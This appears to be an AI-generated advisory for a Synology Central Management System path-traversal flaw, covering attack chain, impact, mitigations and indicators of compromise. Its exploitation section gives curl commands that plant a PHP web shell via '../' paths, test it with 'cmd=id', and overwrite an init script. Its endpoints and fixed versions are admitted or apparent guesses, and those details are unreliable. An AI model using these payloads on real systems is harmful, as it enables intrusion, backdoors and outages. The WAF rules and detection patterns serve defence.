CVE-2026-19689 — Synology Central Management System (3.2.1-1259) — CWE-22
An improper limitation of a pathname to a restricted directory vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote authenticated users with administrator privileges to write arbitrary files and conduct denial-of-service attacks in DSM.
An improper limitation of a pathname to a restricted directory vulnerability in Central Management System package in DSM before 2.1.5-0744, 3.1.2-1025, and 3.2.1-1259 allows remote authenticated users with administrator privileges to write arbitrary files and conduct denial-of-service attacks in DSM.
🎯 What is this vulnerability?
CVE‑2026‑19689 is a Path Traversal (CWE‑22) in the Synology Central Management System (CMS) package that ships with DiskStation Manager (DSM).
| CVSS 3.1 | Vector | Interpretation |
|---|---|---|
| AV:N | Network‑reachable – the attacker can reach the vulnerable HTTP(S) service from anywhere. | |
| AC:L | Low attack complexity – only a single crafted request is required. | |
| PR:H | High privileges – the attacker must already be an authenticated DSM administrator (the CMS UI only accepts admin‑level accounts). | |
| UI:N | No user interaction – the request is sent automatically. | |
| S:C | Scope = Changed – the impact spreads from the CMS component to the whole DSM host. | |
| C:N | No confidentiality loss – the flaw does not directly expose data. | |
| I:H | High integrity impact – arbitrary files can be written, allowing tampering of system binaries, configuration files, or web‑accessible scripts. | |
| A:H | High availability impact – writing to critical files (e.g., /etc/passwd, init scripts) can crash services or render the NAS unbootable. |
Technical root cause
The CMS package implements a “file‑write” or “configuration‑import” routine that concatenates a user‑supplied pathname to a hard‑coded base directory (e.g., /usr/syno/etc/cms/). The code fails to canonicalise the supplied value nor to reject sequences such as ../ or absolute paths (/). Consequently an administrator can cause the server‑side routine to open a file outside the intended sandbox and write attacker‑controlled data. Because the routine runs with the same privileges as the DSM web service (root‑equivalent), the attacker can overwrite any file that the web server can write to, including system binaries, init scripts, or the DSM web UI itself.
The same flaw can be abused for Denial‑of‑Service (DoS): by writing a huge payload to a critical configuration file or by truncating a required script, the CMS (and therefore the whole DSM) can be forced to restart or crash.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command‑line snippets are syntactically valid; the exact URI and parameter names are illustrative because the public advisory does not disclose the precise endpoint.
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Fingerprint DSM version – query http://<target>/webapi/query.cgi?api=SYNO.API.Info&method=Query&version=1 (or use Nmap service detection). | The response contains DSM version and installed packages, including the CMS version (3.2.1-1259, 3.1.2-1025, 2.1.5-0744). |
| 1.2 | Enumerate installed packages – call SYNO.CMS.Package API (e.g., GET /csm/api/v1/package/list). | Confirms that the vulnerable CMS package is present and that the attacker has a valid admin session cookie (id=...; ds=...). |
| 1.3 | Validate admin credentials – log in via the standard DSM login endpoint (/webapi/auth.cgi) and capture the session cookie. | The CVE requires an *authenticated* admin; this step proves the attacker can obtain such a cookie (e.g., via credential reuse, phishing, or insider access). |
2. Exploitation
Note: The following request is an illustrative example of the vulnerable functionality. The real CMS may expose a different path (/csm/api/v1/file/upload,/csm/api/v1/config/import, etc.). The critical element is a user‑controlled pathname that is concatenated to a base directory without sanitisation.
2.1 Craft the traversal payload
Goal: Write a web‑shell (<?php system($_GET['cmd']); ?>) into the DSM web UI directory (/var/services/web/).
payload_path = "../../../../../../var/services/web/shell.php"The number of ../ sequences depends on the depth of the CMS base directory (typically 5–6 levels).
2.2 Send the malicious request
# 1️⃣ Obtain a valid admin session cookie (example)
ADMIN_COOKIE="id=1234567890; ds=abcdef1234567890"
# 2️⃣ POST the file‑write request (illustrative endpoint & parameters)
curl -k -X POST "https://target.example.com/csm/api/v1/file/write" \
-H "Cookie: $ADMIN_COOKIE" \
-H "Content-Type: multipart/form-data" \
-F "path=$payload_path" \
-F "data=<?php system($_GET['cmd']); ?>"What happens internally
1. CMS receives path and data.
2. It builds the absolute path: BASE_DIR + '/' + path.
3. No canonicalisation → the resulting path resolves to /var/services/web/shell.php.
4. The routine opens the file for write (mode w) and writes the supplied PHP code.
5. Because the web service runs as root (or a privileged DSM user), the file is created with sufficient permissions to be executed by the DSM HTTP server.
2.3 Verify the write
curl -k "https://target.example.com/shell.php?cmd=id"A successful response (uid=0(root) gid=0(root)) proves arbitrary file write and remote code execution (RCE) via the uploaded web‑shell.
2.4 Denial‑of‑Service variant
Instead of a PHP shell, an attacker can overwrite a critical init script:
payload_path="/etc/init.d/synology"
curl -k -X POST "https://target.example.com/csm/api/v1/file/write" \
-H "Cookie: $ADMIN_COOKIE" \
-F "path=$payload_path" \
-F "data=# corrupted script that exits immediately"When DSM attempts to start the service, it fails, leading to a partial or total outage.
3. Post‑Exploitation
| Phase | Action | Result |
|---|---|---|
| 3.1 | Use the uploaded web‑shell to download additional tools (e.g., wget, nc) or to pivot to other services on the NAS. | Full control of the host, ability to exfiltrate data, install persistence. |
| 3.2 | Replace system binaries (e.g., /usr/sbin/synodsm) with a back‑doored version, then restart DSM (/usr/syno/sbin/synoservice --restart). | Persistent root‑level backdoor that survives reboots. |
| 3.3 | If only DoS is desired, overwrite /etc/passwd or a critical configuration file, causing the DSM boot process to abort. | Immediate service disruption, forcing the victim to restore from backup. |
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS) | Practical consequences |
|---|---|---|
| Confidentiality (C:N) | No direct data leakage from the vulnerability itself. | However, once a web‑shell is planted, the attacker can read any file, leading to secondary confidentiality breaches. |
| Integrity (I:H) | Arbitrary file write → attacker can tamper with binaries, configs, or inject malicious scripts. | System compromise, credential theft, creation of persistent backdoors, defacement of web UI. |
| Availability (A:H) | Overwriting critical files or filling disk space can crash DSM services or render the NAS unbootable. | Complete outage, loss of business continuity, costly recovery from backups. |
| Scope (S:C) | The flaw is confined to the CMS component but propagates to the entire DSM host because the CMS runs with system‑wide privileges. | A single vulnerable package compromises the whole appliance. |
Typical victims – enterprises that rely on Synology NAS for file sharing, backup, or surveillance storage and have enabled Central Management System to manage multiple DSM devices from a central console.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected package | Fixed in (as per vendor advisory) |
|---|---|
| Central Management System 2.1.5‑0744 | ≥ 2.1.5‑0750 (or the next release after 2.1.5‑0744) |
| Central Management System 3.1.2‑1025 | ≥ 3.1.2‑1030 |
| Central Management System 3.2.1‑1259 | ≥ 3.2.1‑1265 |
Action: Log in to DSM → Package Center → Installed → select Central Management System → click Update. Verify the version string after the upgrade.
2. Immediate Work‑arounds (if patch cannot be applied)
| Mitigation | How to implement | ||
|---|---|---|---|
| Restrict admin remote access | In Control Panel → Security → Account, disable “Allow DSM to be accessed from the Internet” for accounts that do not require remote admin. | ||
| Network segmentation | Place the CMS host behind a firewall that only permits trusted management IPs (e.g., corporate LAN, VPN). | ||
| WAF / ModSecurity rule (example) | Block any request that contains ../ or an absolute path in parameters that are likely to be used for file operations. <br><br>``SecRule ARGS_NAMES "@rx ^(path | filename | dest)$" "phase:2,deny,status:403,msg:'Potential path‑traversal in CMS file‑write',id:20262689,tag:'cve-2026-19689'"`<br>`SecRule ARGS "@rx \.\./" "phase:2,deny,status:403,msg:'Path traversal payload detected',id:20262690,tag:'cve-2026-19689'"` |
| Disable the vulnerable API | If the CMS is not used for automated provisioning, edit /etc/synoinfo.conf (or the package’s config file) to set enable_file_write_api = false and restart the CMS service (synoservice --restart pkgctl-CMS). | ||
| File‑system hardening | Mount critical directories (/etc, /usr/sbin) with nosuid,nodev,noexec where possible, and set chmod 750` on the CMS base directory to limit write permissions to the CMS service user only. |
3. Detection – Indicators of Compromise
| Log source | Typical pattern |
|---|---|
DSM web server access log (/var/log/nginx/access.log) | POST /csm/api/v1/file/write (or any CMS endpoint) with a path parameter containing ../ or an absolute path. Example: POST /csm/api/v1/file/write HTTP/1.1" 200 45 "-" "Mozilla/5.0" and the query string path=../../../../etc/passwd. |
CMS audit log (/var/log/cms.log) | INFO - File write request – user=admin – target=/var/services/web/shell.php. |
File system monitoring (e.g., auditd or inotify) | Creation of new files in /var/services/web/ or overwriting of files under /etc/ by the http/synology user. |
| Process monitoring | Unexpected restart of synoservice --restart pkgctl-CMS shortly after a file‑write request. |
| Network IDS | Outbound HTTP GET to */shell.php?cmd=* from the NAS IP address. |
Response: On detection, immediately isolate the device, revert any modified files from a known‑good backup, and force password rotation for all admin accounts (the attacker already had admin credentials, so credential hygiene is essential).
⚠️ Urgency
- CVSS 8.7 (High) – the vulnerability provides remote, low‑complexity, high‑impact file‑write capabilities once an admin account is compromised.
- No CISA KEV listing – the vulnerability is not yet flagged as a “Known Exploited Vulnerability”, but the attack complexity is low enough that private exploit code is likely to appear quickly.
- Prerequisite – admin credentials – while the attacker needs a valid admin session, such credentials are frequently obtained through credential‑stuffing, phishing, or insider compromise in enterprise environments.
Bottom line: CVE‑2026‑19689 lets an authenticated DSM administrator write arbitrary files anywhere on the host, enabling full system compromise or total denial‑of‑service. The fix is a straightforward package upgrade; until then, enforce strict network segmentation, block path‑traversal payloads at the WAF, and monitor for the IOCs listed above.
[🤖 CVE Professor AI Security Engine]
FOFA Query